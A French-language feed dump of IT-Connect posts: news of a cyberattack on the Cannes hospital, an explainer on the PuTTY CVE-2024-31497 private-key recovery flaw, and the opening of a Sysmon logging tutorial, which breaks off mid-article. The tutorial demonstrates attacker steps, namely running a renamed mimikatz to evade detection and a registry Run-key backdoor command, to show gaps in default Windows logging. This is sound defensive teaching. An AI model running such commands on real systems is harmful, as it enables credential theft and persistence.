<p>Enfin,<strong> si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers </strong>Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points <img src="media/b95a57a9.1f642.png" data-original-source="https://s.w.org/images/core/emoji/15.0.3/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> ) : <a href="https://referral.hackthebox.com/mzw333f" target="_blank" rel="noopener nofollow" title="">Tester Hack the Box Academy</a></p><p>The post <a href="https://www.it-connect.fr/hack-the-box-decouverte-et-solution-du-challenge-sherlocks-brutus/">Hack the box – Sherlocks (forensic) : découverte et solution de Brutus</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79672
title: L’Hôpital de Cannes victime d’une cyberattaque !
uri: L-Hôpital-de-Cannes-victime-d-une-cyberattaque
url: https://www.it-connect.fr/hopital-de-cannes-victime-cyberattaque-avril-2024/
content:
<p><strong>Alpes-Maritime : l'Hôpital Simone Veil de Cannes est actuellement victime d'une cyberattaque ! Certaines activités clés sont paralysées suite à cet incident de sécurité. Voici ce que l'on sait !</strong></p>



<p>Malheureusement, l'Hôpital Simone Veil de Cannes vient s'ajouter à la longue liste d'hôpitaux victimes d'une cyberattaque, malgré tous les efforts effectués par les équipes techniques. <strong>Cette cyberattaque s'est visiblement déroulée dans la nuit du 15 au 16 avril</strong>, puisque les activités de l'Hôpital sont perturbées depuis mardi 16 avril. Plusieurs systèmes informatiques sont paralysés suite à cet incident.</p>



<p>En réponse à cet incident de sécurité, <strong>une cellule de crise a été activée</strong> "<em>en lien avec l’Agence Régionale de santé PACA et le Groupement Hospitalier de territoire des Alpes Maritimes, le directeur et le président de la commission médicale d’établissement.</em>", <a href="https://twitter.com/hopitaldecannes/status/1780281758417576326" target="_blank" rel="noopener nofollow" title="">peut-on lire sur le compte X (Twitter) </a>du centre.<strong> L'ANSSI est également sur le coup pour l'accompagnement technique.</strong></p>



<p><strong>Cette cyberattaque impact l'hôpital et ce dernier ne peut pas fonctionner normalement</strong>. Justement, en attendant un retour à la normale, <strong>les opérations non urgentes ont été reportées, tout comme les consultations.</strong> "<em>Dans ce cadre, le CH est contraint de reporter l’activité programmée non urgente n’entraînant pas de perte de chance. Les consultations non urgentes sont également reportées jusqu’à retour à la normale.</em>", a indiqué l'Hôpital Simone Veil sur X.</p>



<p>Pour le moment, <strong>aucune information n'a été publiée quant à l'origine de cette attaque</strong>. Nous ignorons s'il s'agit d'un ransomware. Si vous disposez d'informations supplémentaires, n'hésitez pas à commenter cet article ou à me contacter.</p>



<p>La semaine dernière, c'est la <a href="https://www.it-connect.fr/cyberattaque-ville-saint-nazaire-et-son-agglomeration-avril-2024/" target="_blank" rel="noopener" title="">ville de Saint-Nazaire et son agglomération qui ont subi une cyberattaque</a>.</p>



<p><a href="https://www.bfmtv.com/tech/cybersecurite/cannes-l-hopital-simone-veil-paralyse-par-une-cyberattaque-la-cellule-de-crise-activee_AV-202404160936.html" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/hopital-de-cannes-victime-cyberattaque-avril-2024/">L’Hôpital de Cannes victime d’une cyberattaque !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79657
title: Une faille de sécurité dans le client SSH PuTTY permet de récupérer les clés privées !
uri: Une-faille-de-sécurité-dans-le-client-SSH-PuTTY-permet-de-récupére
url:
https://www.it-connect.fr/faille-de-securite-client-ssh-putty-permet-de-recuperer-les-cles-privees-cve-2024-31497/

content:
<p><strong>Vous connaissez probablement l'application PuTTY. Sachez que de nombreuses versions sont affectées par une nouvelle vulnérabilité pouvant permettre de deviner votre clé privée. D'autres applications sont impactées. Faisons le point sur cette menace !</strong></p>



<p>Pour rappel, PuTTY est une application open source permettant de se connecter à des équipements réseaux ou des serveurs distants, généralement sous Linux, par l'intermédiaire de plusieurs protocoles, dont le SSH et le Telnet. Même s'il existe de nombreuses alternatives et des gestionnaires de connexions plus complets, PuTTY reste un "client SSH" populaire et très utilisé par les administrateurs systèmes sous Windows.</p>



<p>Cette vulnérabilité, associée à la référence <strong>CVE-2024-31497</strong>, a été découverte par <a href="https://www.openwall.com/lists/oss-security/2024/04/15/6" target="_blank" rel="noreferrer noopener">Fabian Bäumer et Marcus Brinkmann</a> de l'Université de la Ruhr à Bochum, en Allemagne.<strong> </strong></p>



<p><strong>Elle est liée à la manière dont l'application PuTTY génère les nonces ECDSA pour la courbe NIST P-521 utilisée dans le cadre de l'authentification SSH. </strong>Un nonce ECDSA est un nombre aléatoire utilisé dans le processus de création de la signature ECDSA. Un nonce est unique pour chaque signature. Dans le cas présent, nous pouvons dire que <strong>la fonction de génération de signatures est biaisée à cause de ce problème de sécurité lié à la génération des nonces</strong>. </p>



<p>Cette signature numérique est créée à partir de la clé privée de l'utilisateur, et cette clé, comme son nom l'indique, doit rester uniquement en possession de son propriétaire. La signature doit être vérifiée à partir de la clé publique (on parle d'une paire de clés) afin de garantir l'identité de l'utilisateur et sécuriser la connexion.</p>



<h2 class="wp-block-heading">Calculer la clé privée grâce à la CVE-2024-31497</h2>



<p>En exploitant cette vulnérabilité, <strong>un attaquant peut parvenir à calculer la clé privée utilisée par l'utilisateur, sans en avoir connaissance à la base</strong>. </p>



<p>Pour cela, comme l'explique <a href="https://twitter.com/lambdafu/status/1779969530736922637" target="_blank" rel="noopener nofollow" title="">Marcus Brinkmann sur X (Twitter)</a> : "<em>L'attaque de l'ECDSA avec des nonces biaisés est une technique standard. Un attaquant collecte au moins 521/9≈58 signatures à partir de commits Git signés ou de connexions de victimes au serveur SSH de l'attaquant. Un peu de mathématiques permet à l'attaquant de calculer la clé privée hors ligne.</em>" </p>



<p>Ceci implique la<strong> collecte de 58 signatures effectuées à partir de la même clé privée</strong> pour que celle-ci puisse être découverte. La collecte de ces informations à partir de commits Git signés est certainement plus réaliste et plus "pratique" pour les attaquants.</p>



<p>Pour avoir des techniques, je vous recommande de lire le <a href="https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-p521-bias.html" target="_blank" rel="noopener nofollow" title="">bulletin de sécurité de PuTTY</a>.</p>



<h2 class="wp-block-heading">Qui est affecté ? Comment se protéger ?</h2>



<p>Cette vulnérabilité, associée à la référence <strong>CVE-2024-31497</strong>, affecte <strong>toutes les versions de PuTTY de la 0.68 à la 0.80</strong>, publiée en décembre 2023. La dernière version, à savoir <strong>PuTTY 0.81</strong>, a été développée et publiée <strong>ce lundi 15 avril 2024</strong> dans l'unique but de corriger cette faille de sécurité.</p>



<p>Cependant, il est essentiel de préciser que<strong> toutes les clés privées P-521 générée à l'aide d'une version vulnérable de l'outil pourraient être compromises </strong>et elles représentent un risque. Dans ce cas,<strong> ces clés doivent être renouvelées </strong>pour éliminer tous les risques de compromission, et elles sont également à <strong>retirer de la liste "authorized_keys"</strong> de vos serveurs et équipements.</p>



<p><strong>D'autres logiciels s'appuie directement sur PuTTY et sont également affectés.</strong> </p>



<p>Voici une liste, probablement pas exhaustive, de logiciels et des versions impactées :</p>



<ul>
<li><strong>FileZilla</strong> 3.24.1 - 3.66.5 (corrigé dans 3.67.0)</li>



<li><strong>WinSCP </strong>5.9.5 - 6.3.2 (corrigé dans 6.3.3)</li>



<li><strong>TortoiseGit </strong>2.4.0.2 - 2.15.0 (corrigé en 2.15.0.1)</li>



<li><strong>TortoiseSVN</strong> 1.10.0 - 1.14.6 (atténuation possible en configurant TortoiseSVN pour utiliser Plink)</li>
</ul>



<p>D'autres logiciels sont potentiellement affectés, ce qui pourrait être le cas si un outil s'appuie sur PuTTY (à voir, selon la version).</p>



<p><a href="https://www.bleepingcomputer.com/news/security/putty-ssh-client-flaw-allows-recovery-of-cryptographic-private-keys/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/faille-de-securite-client-ssh-putty-permet-de-recuperer-les-cles-privees-cve-2024-31497/">Une faille de sécurité dans le client SSH PuTTY permet de récupérer les clés privées !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=77186
title: Windows : utilisation de Sysmon pour tracer les activités malveillantes
uri: Windows-utilisation-de-Sysmon-pour-tracer-les-activités-malveillant
url: https://www.it-connect.fr/windows-utilisation-de-sysmon-pour-tracer-les-activites-malveillantes/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p>Dans cet article, nous allons nous intéresser à <strong>Sysmon</strong>, un outil qui permet une <strong>meilleure journalisation des évènements de sécurité système sous Windows</strong>. Il s'agit d'un élément indispensable pour une surveillance efficace des évènements de sécurité.</p>



<p>Nous allons notamment voir que les évènements Windows par défaut ne <strong>permettent pas d'avoir une détection très précise</strong> des activités systèmes et des attaques telles qu'elles sont opérées aujourd'hui, et comment <strong>Sysmon permet d'améliorer cette détection</strong>.</p>



<p>Nous verrons également comment l'installer et le configurer à l'aide de <strong>modèles de configuration proposés par la communauté</strong>, et analyserons ensuite concrètement les journaux produits par Sysmon.</p>



<h2 class="wp-block-heading">II. Sysmon : qu'est ce que c'est ?</h2>



<p>Sysmon (pour<em> System monitor</em>) est à la fois <strong>un service et un driver</strong> fournit dans le package <a href="https://learn.microsoft.com/fr-fr/sysinternals/" target="_blank" rel="noopener nofollow" title="SysInternals">SysInternals</a> de Microsoft. Il vise à <strong>améliorer la journalisation des évènements Windows</strong> avec un focus sur la journalisation des <strong>évènements de sécurité système</strong>. Il s'agit plus d'un outil de détection que de prévention, dans le sens où il permet une meilleure journalisation des évènements, mais ne permet pas à lui seul de bloquer des activités malveillantes.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Depuis Sysmon 14, Microsoft a revu sa stratégie concernant Sysmon. Celui-ci peut maintenant bloquer des exécutables malveillants ("<strong>FileBlockExecutable</strong>") ainsi que la suppression de fichiers via certains outils ("<strong>FileBlockShredding</strong>"). Cette protection n'est cependant pas parfaite et ne remplace par une solution dédiée (EPP/EDR).</p>
</blockquote>



<p>Pour être plus clair, voici une partie de la liste des évènements que Sysmon peut surveiller et journaliser :</p>



<ul>
<li>Création de processus</li>



<li>Modification de l'heure de création d'un fichier</li>



<li>Connexion réseau</li>



<li>Modification de l'état du service Sysmon</li>



<li>Fin d'un processus</li>



<li>Chargement de pilote</li>



<li>Chargement d'image (injection de DLL)</li>



<li>Evènement <em>CreateRemoteThread</em> (création d'un thread par un processus)</li>



<li>Evènement <em>RawAccessRead</em></li>



<li>Requête DNS</li>



<li><em>ProcessTampering</em></li>



<li>etc.</li>
</ul>



<p>Tous ces évènements peuvent paraitre très (trop) précis pour être intéressants. Mais, tous correspondent à <strong>des attaques et modes opératoires bien identifiés et connus</strong> des attaquants. Sysmon permet alors de retracer bien plus précisément que les logs par défaut une activité malveillante sur un système.</p>



<p>En plus de journaliser ces évènements clés pour surveiller l'activité d'un système, il inclut <strong>plusieurs éléments importants</strong> du point de vue des équipes de sécurité et relatifs au contexte de l'évènement  :</p>



<ul>
<li>les condensats (ou hash) des images des processus lancés</li>



<li>les GUID des processus (facilite la corrélation des évènements)</li>



<li>des informations précises sur les connexions réseau (processus source, adresse IP, numéro de port, etc.)</li>



<li><em>Integrity Level</em> du processus</li>



<li>des informations relatives aux métadonnées des processus (signature, auteur, description)</li>



<li>etc.</li>
</ul>



<p>Ces différents éléments facilitent également l'<strong>investigation numérique ainsi que la recherche et corrélation d'évènements</strong>, par exemple, grâce aux IOC (<em><a href="https://en.wikipedia.org/wiki/Indicator_of_compromise#:~:text=Indicator%20of%20compromise%20(IoC)%20in,confidence%2C%20indicates%20a%20computer%20intrusion." target="_blank" rel="noopener nofollow" title="Indicators of compromise">Indicators of compromise</a></em>) publiés par la communauté ou une équipe interne de <em>Threat Intelligence</em> (adresse IP, nom DNS, hash d'un binaire, etc). Rien de mieux qu'un exemple pour illustrer cela. Comparons la journalisation de l'évènement "<strong>Création d'un processus</strong>" entre les logs par défaut Windows et les journaux créés par Sysmon (<em>cliquez sur l'image pour zoomer</em>) :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/8a3cba50.windows-securite-4688-vs-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4688-vs-1.png"><img fetchpriority="high" decoding="async" width="800" height="465" src="media/19d09d46.windows-securite-4688-vs-1-800x465.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4688-vs-1-800x465.png" alt="" class="wp-image-77930" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4688-vs-1-800x465.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4688-vs-1-550x320.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4688-vs-1-150x87.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4688-vs-1-768x446.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4688-vs-1-50x29.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4688-vs-1.png 1289w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Comparaison entre l'évènement par défaut de Windows et celui de Sysmon concernant la création d'un nouveau processus :</figcaption></figure></div>


<p>L'eventID 1 (à droite de l'image) créé par Sysmon est <strong>beaucoup plus verbeux en contenu technique</strong>. Il fournit plus d'informations de contexte autour de l'exécution du processus. Ces informations vont notamment grandement faciliter la recherche et la détection d'activité malveillante qui ont lieu sur le système.</p>



<p>Il faut savoir que l'intérêt de Sysmon est aussi la <strong>journalisation d'évènements qui ne sont pas du tout journalisés par Windows</strong> (au contraire de la création d'un processus, qui est le cas le plus simple pour exposer les capacités de Sysmon). Nous verrons ensuite que, grâce à la configuration que nous allons utiliser, les TTP (<em><a href="https://attack.mitre.org/techniques/enterprise/">Tactics, </a><em><a href="https://attack.mitre.org/techniques/enterprise/" target="_blank" rel="noopener nofollow" title="">Techniques <em>and Procedures</em></a></em> </em>) relatifs à tel ou tel évènement journalisé sont aussi indiqués. Nous comprenons donc bien ici que l'intérêt de Sysmon est d'avoir <strong>des logs plus précis, orientés autour d'évènements de sécurité</strong> très importants sur un système d'exploitation et<strong> facilitant la détection et l'investigation numérique</strong>.</p>



<p>Enfin, comme tout élément capable de générer des journaux d'évènement, la puissance Sysmon est décuplée si ces évènements sont centralisés et analysés par une plateforme de type SIEM (ELK, Splunk, etc.) et traités par un SOC (<em>Security Operation Center</em>).</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Le code source de Sysmon est public et peut être consulté librement. Ainsi, vous pouvez découvrir précisément comment il fonctionne : <a href="https://github.com/Sysinternals/SysmonCommon" target="_blank" rel="noopener nofollow" title="">Github - Sysinternals/SysmonCommon</a></p>
</blockquote>



<h2 class="wp-block-heading">III. Logs Windows : quelques trous dans la raquette</h2>



<p>Les journaux d'évènements Windows peuvent paraitre complexes au premier abord. D'apparence, ils sont assez verbeux et consultables à travers un outil de visualisation/recherche peu efficace ("<strong>Observateur d'évènements</strong>"). Il est difficile de trouver exactement ce que l'on cherche si l'on n'y est pas familier. </p>



<p>Également, la<strong> politique d'audit par défaut de Windows passe sous silence des évènements importants</strong> de l'activité sur le système. Pour illustrer ce constat, intéressons-nous aux journaux produits durant trois étapes d'attaque d'un système. Pour faciliter cette analyse, j'ai créé un filtre de journalisation dans l'Observateur d'évènements qui centralise tous les Event ID, peu importe leur source :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="538" height="334" src="media/b588e6c8.windows-securite-get-all-logs.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-get-all-logs.png" alt="Création d'un filtre permettant de voir tous les évènements Windows." class="wp-image-77515" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-get-all-logs.png 538w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-get-all-logs-150x93.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-get-all-logs-50x31.png 50w" sizes="(max-width: 538px) 100vw, 538px" /><figcaption class="wp-element-caption">Création d'un filtre permettant de voir tous les évènements Windows.</figcaption></figure></div>


<p>Admettons qu'en tant qu'attaquant, j'exécute le binaire "<strong>mimikatz64.exe</strong>" :</p>



<pre class="wp-block-code"><code>.\mimikatz64.exe</code></pre>



<p>Par défaut, cette activité n'est pas journalisée comme nous le montre "<strong>auditpol.exe</strong>" :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="560" height="164" src="media/d93baabd.windows-securite-auditpol-suivi-detaille.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-auditpol-suivi-detaille.png" alt="Visualisation de l'état de la stratégie d'audit par défaut Windows concernant la &quot;création du processus&quot;." class="wp-image-77510" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-auditpol-suivi-detaille.png 560w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-auditpol-suivi-detaille-550x161.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-auditpol-suivi-detaille-150x44.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-auditpol-suivi-detaille-50x15.png 50w" sizes="(max-width: 560px) 100vw, 560px" /><figcaption class="wp-element-caption">Visualisation de l'état de la stratégie d'audit par défaut Windows concernant la "<strong>création du processus</strong>".</figcaption></figure></div>


<p>Tel que recommandé dans le guide "<a href="https://cyber.gouv.fr/publications/recommandations-de-securite-pour-la-journalisation-des-systemes-microsoft-windows-en" target="_blank" rel="noopener nofollow" title="Recommandations de sécurité pour la journalisation des systèmes Microsoft Windows en environnement Active Directory">Recommandations de sécurité pour la journalisation des systèmes Microsoft Windows en environnement Active Directory</a>" de l'ANSSI, nous pouvons positionner la stratégie d'audit "<strong>Suivi Détaillé</strong>" > "<strong>Création du processus</strong>" à "<strong>Réussite</strong>". Alors, si l'on réitère la même opération, un évènement avec l'Event ID "<strong><a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4688" target="_blank" rel="noopener nofollow" title="4688">4688 - <strong>A new process has been created</strong></a></strong>" sera créé :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="716" height="432" src="media/f4b5caba.windows-securite-4688-mimikatz.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4688-mimikatz.png" alt="Evènement 4688 concernant la création d'un processus mimikatz64.exe" class="wp-image-77511" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4688-mimikatz.png 716w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4688-mimikatz-550x332.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4688-mimikatz-150x91.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4688-mimikatz-50x30.png 50w" sizes="(max-width: 716px) 100vw, 716px" /><figcaption class="wp-element-caption">Evènement 4688 concernant la création d'un processus mimikatz64.exe</figcaption></figure></div>


<p>La moindre des choses que l'on puisse dire est que cet évènement est peu verbeux. Les seuls éléments concrets dont nous disposons sont : le nom de compte ayant exécuté la commande, le nom du processus créateur et le nom du processus. Par exemple, le simple fait de renommer "<strong>mimikatz64.exe</strong>" en "<strong>itconnect.exe</strong>" suffit à contourner l'un des principaux éléments sur lequel une détection serait possible (le nom du processus) :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="730" height="667" src="media/caf8b24a.windows-securite-4688-itconnect.exe_.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4688-itconnect.exe_.png" alt="" class="wp-image-77512" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4688-itconnect.exe_.png 730w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4688-itconnect.exe_-550x503.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4688-itconnect.exe_-150x137.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4688-itconnect.exe_-50x46.png 50w" sizes="(max-width: 730px) 100vw, 730px" /><figcaption class="wp-element-caption">Evènement 4688 concernant l'exécution d'un mimikatz renommé.</figcaption></figure></div>


<p>Dans un second temps, je décide d'ajouter un moyen de persistance en modifiant le contenu de la clé de registre "<strong>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</strong>". Cette clé de registre est utilisée pour lancer des binaires au démarrage (voir <a href="https://attack.mitre.org/techniques/T1547/001/" target="_blank" rel="noopener nofollow" title="">Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder</a>). Il s'agit d'un moyen de persistance très connu et souvent utilisé par les attaquants, qui leur permet d'avoir une connexion vers leur serveur C2 (<em>Command &amp; Control</em>) dès le démarrage du système compromis :</p>



<pre class="wp-block-code"><code>reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v mabackdoor /t REG_SZ /d "Z:\backdoor.exe"</code></pre>



<p>J'utilise ensuite la CmdLet PowerShell "<strong>Get-EventLog</strong>" pour récupérer les évènements <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4657" target="_blank" rel="noopener nofollow" title="657 – A Registry Value Was Modified">4657 – A Registry Value Was Modified</a> relatifs à la modification d'une clé de registre :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="66" src="media/3840383b.windows-securite-4657-800x66.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4657-800x66.png" alt="" class="wp-image-77919" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4657-800x66.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4657-550x45.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4657-150x12.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4657-768x64.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4657-50x4.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-4657.png 907w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>À nouveau, aucun évènement n'est journalisé par défaut sous Windows lors de la modification des clés de registre. Enfin, je vais initialiser une connexion réseau vers un serveur malveillant afin de récupérer un ransomware : </p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><a href="media/d5325c9d.windows-securite-wget-absence-journalisation.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-wget-absence-journalisation.png"><img decoding="async" width="800" height="427" src="media/91b8db9d.windows-securite-wget-absence-journalisation-800x427.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-wget-absence-journalisation-800x427.png" alt="Absence de journaux de sécurité relatifs au téléchargement d'un exécutable." class="wp-image-77925" style="width:800px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-wget-absence-journalisation-800x427.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-wget-absence-journalisation-550x294.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-wget-absence-journalisation-150x80.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-wget-absence-journalisation-768x410.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-wget-absence-journalisation-50x27.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-wget-absence-journalisation.png 977w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Absence de journaux de sécurité relatifs au téléchargement d'un exécutable.</figcaption></figure></div>


<p><strong>À nouveau, aucun évènement journalisé.</strong></p>



<p>Comment nous le voyons à travers cet exemple, les journaux d'évènements produits par Windows par défaut ne sont pas suffisants pour tracer exactement le déroulement de mon attaque et de mon activité sur le système. <strong>Par défaut, ils ne sont pas tous activés</strong> et lorsqu'ils le sont, leur <strong>contenu n'est pas assez détaillé</strong> pour une investigation numérique efficace. </p>



<p>Autrement dit, si vous subissez une cyberattaque et que, par chance, vos journaux d'évènements sont préservés (externalisation, centralisation, voire sauvegarde), <strong>ceux-ci ne seront pas suffisant</strong>s <strong>pour que l'équipe d'investigation numérique ou de remédiation puisse vous dire précisément ce qu'il s'est passé,</strong> par où est passé l'attaquant, quelles ont été ses actions, etc.</p>



<h2 class="wp-block-heading">IV. Déploiement de Sysmon</h2>



<h3 class="wp-block-heading">A. Installer Sysmon de façon classique</h3>



<p>Nous allons à présent voir comment installer Sysmon sur un système Windows (serveur ou client, la procédure est la même). Pour acquérir la dernière version de Sysmon, il faut le télécharger depuis le site de Microsoft : <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon" target="_blank" rel="noopener" title="SysInternals - Sysmon">SysInternals - Sysmon</a>. </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Attention à bien télécharger le binaire depuis le site de Microsoft, <strong>et nulle part ailleurs</strong>.</p>
</blockquote>



<p>Une fois que ce binaire est téléchargé, décompressé et présent sur notre système cible, nous allons ouvrir une Invite de commande <strong>en tant qu'administrateur</strong>, puis exécuter le binaire avec l'option "<strong>-i</strong>" :</p>



<pre class="wp-block-code"><code>.\Sysmon64.exe -i -accepteula</code></pre>



<p>Voici la sortie attendue :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="729" height="245" src="media/5f24542d.windows-securite-sysmon-installation.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-installation.png" alt="Installation de Sysmon sur un système WIndows." class="wp-image-77920" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-installation.png 729w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-installation-550x185.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-installation-150x50.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-installation-50x17.png 50w" sizes="(max-width: 729px) 100vw, 729px" /><figcaption class="wp-element-caption">Installation de Sysmon sur un système WIndows.</figcaption></figure></div>


<p>L'installation de Sysmon64 entraine notamment la création d'un service "<strong>Sysmon64</strong>" et l'installation d'un driver "<strong>SysmonDrv</strong>", dont le rôle est de capturer les évènements de sécurité côté <em>kernel</em>. Le driver échange notamment avec les API Windows et exploite l'<a href="https://learn.microsoft.com/fr-fr/windows-hardware/drivers/devtest/event-tracing-for-windows--etw-" target="_blank" rel="noopener nofollow" title="Event Tracing for Windows">Event Tracing for Windows</a> (ETW) pour capturer les informations sur les actions qu'il souhaite surveiller.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Il est important de noter que l'installation de Sysmon est permanente, son service et son driver seront toujours présents et actifs après un redémarrage. Il peut toutefois être désinstallé simplement.</p>
</blockquote>



<p>Le driver permet notamment à Sysmon d'utiliser des <em>callbacks</em>, aussi appellés <strong><em>hooks</em></strong> (crochet), sur des fonctions clés du système d'exploitation. Lorsqu'une fonction surveillée est invoquée, le<strong> callback associé au driver Sysmon est déclenché</strong>. À ce moment-là, Sysmon peut <strong>collecter des informations</strong> pertinentes sur l'événement en cours, telles que les détails du processus impliqué, les arguments de la fonction, les fichiers accédés, etc. Ces informations sont ensuite journalisées. On retrouve cette mécanique sur la plupart des services type EPP/EDR aujourd'hui.</p>



<p>Aucun redémarrage n'est nécessaire, en vous rendant dans le "<strong>Gestionnaire de tâches</strong>" puis dans "<strong>Services</strong>", vous devriez voir le service "<strong>Sysmon64</strong>" en cours d'exécution :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="606" height="282" src="media/35a59f24.windows-securite-sysmon64-service.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon64-service.png" alt="Présence du service &quot;Sysmon64&quot; dans la liste des services du Gestionnaire des tâches." class="wp-image-77497" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon64-service.png 606w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon64-service-550x256.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon64-service-150x70.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon64-service-50x23.png 50w" sizes="(max-width: 606px) 100vw, 606px" /><figcaption class="wp-element-caption">Présence du service "<strong>Sysmon64</strong>" dans la liste des services du Gestionnaire des tâches.</figcaption></figure></div>


<p>Vous noterez également qu'il est impossible d'arrêter ce service en tant qu'administrateur :</p>


<div class="wp-block-image">
